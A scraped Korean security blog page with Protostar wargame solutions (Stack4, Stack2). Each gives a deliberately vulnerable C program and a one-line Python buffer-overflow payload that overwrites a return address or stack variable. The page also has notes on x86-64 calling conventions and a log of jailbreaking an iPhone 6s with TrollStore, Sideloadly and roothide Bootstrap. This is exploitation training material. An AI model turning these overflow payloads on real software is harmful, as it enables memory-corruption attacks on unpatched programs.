https://ii4gsp.tistory.com/50?pidx=0

 

Exploit Exercises [Protostar - Stack4]

#include #include #include #include void win() { printf("code flow successfully changed\n"); } int main(int argc, char **argv) { char buffer[64]; gets(buffer); } ret를 win() 함수의 시작 주소로 조작해야한다. 스택이 0x50만큼 할당되었

ii4gsp.tistory.com

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

 

 

0x080483f4가 win() 함수의 시작 주소이다.
리틀 엔디언 방식으로 ret를 덮어주면 된다.
페이로드는 buffer[64byte] + dummy[8byte] + sfp[4byte] + win()함수 시작 주소

 

(python -c 'print "\x90" * 76 + "\xf4\x83\x04\x08"';cat) | ./stack4

'경로 및 정보' 카테고리의 다른 글

User After Free 취약점 관련  (0) 2025.01.28
shell code sample  (0) 2025.01.28
어셈블리어 호출 규칙 (64bit 참고)  (0) 2025.01.27
리버싱에서의 레지스터란? (참고)  (0) 2025.01.27
PLT와 GOT 자세히 알기 1  (0) 2025.01.26
블로그 이미지

wtdsoul

,


어셈블리어 호출 규칙


어셈블리어의 호출 방식에 대해 알아봅시다. C 언어에서는 함수를
실행할 때 파라미터를 전달하는 방식을 갖습니다. printf라는 함수를
실행할 때는 printf(“내용”)과 같이 출력하기 원하는 내용을 전달합니
다. 이처럼 리눅스 환경의 어셈블리어도 파라미터를 전달하는 규칙이
있습니다. 일단 레지스터에 필요한 파라미터를 넣고, 모자라면 스택에
남은 파라미터를 넣는 형태로 진행됩니다.
앞서 실행한 call puts를 찾아가 직전에 있는 mov rdi, message를
살펴봅시다. 이 내용은 rdi에 message를 넣는 모습입니다. 파라미터
가 다수인 경우에는 레지스터에 더 많은 양을 전달하게 됩니다. 세부적
인 규칙은 다음과 같이 정해집니다. 아직은 잘 몰라도 되는 내용이니
간단히 읽고 넘어갑시다.

① 레지스터에 들어가는 파라미터는 오른쪽에서 왼쪽으로 전달해야
하며, 할당 순서는 정수와 포인터의 경우 rdi -> rsi -> rdx -> rcx ->
r8 -> r9순이며, 부동 소수점(float, double)의 경우 xmm0 -> xmm1
-> xmm2 -> xmm3 -> xmm4 -> xmm5 -> xmm6 -> xmm7순입
니다.


② 추가 파라미터는 오른쪽에서 왼쪽으로 스택에 지정되며 호출 후
호출자가 제거해야 합니다.
③ 파라미터 지정 후 호출 명령어가 생성되어 제어되면 [rsp]레지스
터로 리턴하며, 첫번째 메모리 파라미터는 [rsp+8]레지스터에 지정됩
니다.
④ 스택 포인터 rsp는 호출되기 전에 16byte 경계에 정렬되어야 합
니다. 하지만 호출 시 스택의 리턴 주소에 8byte를 푸시하므로 gets 함
수가 시작되면 rsp가 정렬되지 않습니다. 무언가를 밀거나 8byte만큼
을 빼서 rsp에 여분의 공간을 만들어야 합니다.

 

 

'경로 및 정보' 카테고리의 다른 글

shell code sample  (0) 2025.01.28
Protostar - Stack4  (0) 2025.01.28
리버싱에서의 레지스터란? (참고)  (0) 2025.01.27
PLT와 GOT 자세히 알기 1  (0) 2025.01.26
spel injection  (0) 2024.12.16
블로그 이미지

wtdsoul

,

protostar stack2

시스템 2025. 1. 27. 22:22

리마인드차

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];
  char *variable;

  variable = getenv("GREENIE");

  if(variable == NULL) {
      errx(1, "please set the GREENIE environment variable\n");
  }

  modified = 0;

  strcpy(buffer, variable);

  if(modified == 0x0d0a0d0a) {
      printf("you have correctly modified the variable\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }

}

export GREENIE="`python -c 'print "A" * 64 + "\x0a\x0d\x0a\x0d"'`"
./stack2


 

'시스템' 카테고리의 다른 글

protostar format1  (0) 2025.01.28
protostar stack5  (0) 2025.01.28
Buffer OverFlow 대응방안  (0) 2022.10.24
Init 프로세스  (0) 2022.10.23
Radamsa Fuzzer  (0) 2022.10.22
블로그 이미지

wtdsoul

,

'경로 및 정보' 카테고리의 다른 글

Protostar - Stack4  (0) 2025.01.28
어셈블리어 호출 규칙 (64bit 참고)  (0) 2025.01.27
PLT와 GOT 자세히 알기 1  (0) 2025.01.26
spel injection  (0) 2024.12.16
공유 config 및 credentials 파일 위치  (0) 2024.12.04
블로그 이미지

wtdsoul

,

'경로 및 정보' 카테고리의 다른 글

어셈블리어 호출 규칙 (64bit 참고)  (0) 2025.01.27
리버싱에서의 레지스터란? (참고)  (0) 2025.01.27
spel injection  (0) 2024.12.16
공유 config 및 credentials 파일 위치  (0) 2024.12.04
Nox 버프 설정  (0) 2024.11.10
블로그 이미지

wtdsoul

,

아래 경로를 통해 탈옥 진행 시 큰 어려움은 없으나 탈옥 진행 전 여러 이슈가 존재하여 글을 쓰게 되었다.

디바이스 : iPhone 6s
소프트웨어 버전 : 15.7.8

https://aeng-is-young.tistory.com/entry/24%EB%85%84-4%EC%9B%94-%EA%B8%B0%EC%A4%80-iOS-%ED%83%88%EC%98%A5%EB%B2%95trollstoreBootStraproothide

 

24년 4월 기준 iOS 탈옥법(trollstore/BootStrap/roothide)

서론iOS에 Bootstrap이라는 탈옥툴 아닌 탈옥 툴이 생기면서 탈옥이 쉬워졌다.그래서 간단히 정리해보려 한다. 본론사전 환경시연은 아이폰 6s에 15.8.2 버전의 ios을 가진 단말기에서 수행했다. 탈

aeng-is-young.tistory.com

 

아래 툴은 IPA 인젝터이며 의외로 여기서 삽질을 많이 하게되었는데, Itunes, iCloud 는 여기에 있는 링크로 다운을 받는게 정신 건강에 좋다. 추가로 sideload 는 32비트 사용 시 정상적으로 실행이 가능하였다. 

https://sideloadly.io/

 

Sideloadly - iOS, Apple Silicon & TV Sideloading

v0.8  - Initial release v0.9.2  - Detect iOS version and toggle bundle ID mangling if necessary - Added debugging output in attempt to fix "device already registered" issue - Fixes an issue which prevented people from opening Sideloadly after updating Sm

sideloadly.io

https://updates.cdn-apple.com/2020/windows/001-39935-20200911-1A70AA56-F448-11EA-8CC0-99D41950005E/iCloudSetup.exe
https://www.apple.com/itunes/download/win64

구글링을 해보면 알겠지만 시간 소요가 많이된 부분은 WinRa1n2.1 를 이용한 탈옥과 그리고 SMS 인증 수신불가 2 건 때문이었다. 

 

1. WinRa1n2.1 를 이용한 탈옥 시도 - 탈옥 실패
https://winra1n.net/download

 


2. SMS 인증 번호 수신이 불가하여 에러 메시지 발생 (Sideloadly)
: guru meditation anisette failed (에러명)
  해당 이슈에서 많은 시간이 소요되었는데 나 같은 경우 Itunes 설치 후 애플 계정 로그인 그리고 펌웨어 복구 등을 통해 해결을 완료하였다. 
결론은 2차 인증 번호를 정상적으로 수신이 불가하여 노출된 에러 메시지로 추측된다.
(그 외 Windows 방화벽 On / Off 등의 이슈도 있지만 사전에 Off 를 적용 후 진행하였다.)

 

추가로 Bootstrap Roothide 기능이 강력하네..

https://github.com/roothide/Bootstrap/releases

 

 

참고)
https://github.com/alfiecg24/TrollInstallerX/releases

 

블로그 이미지

wtdsoul

,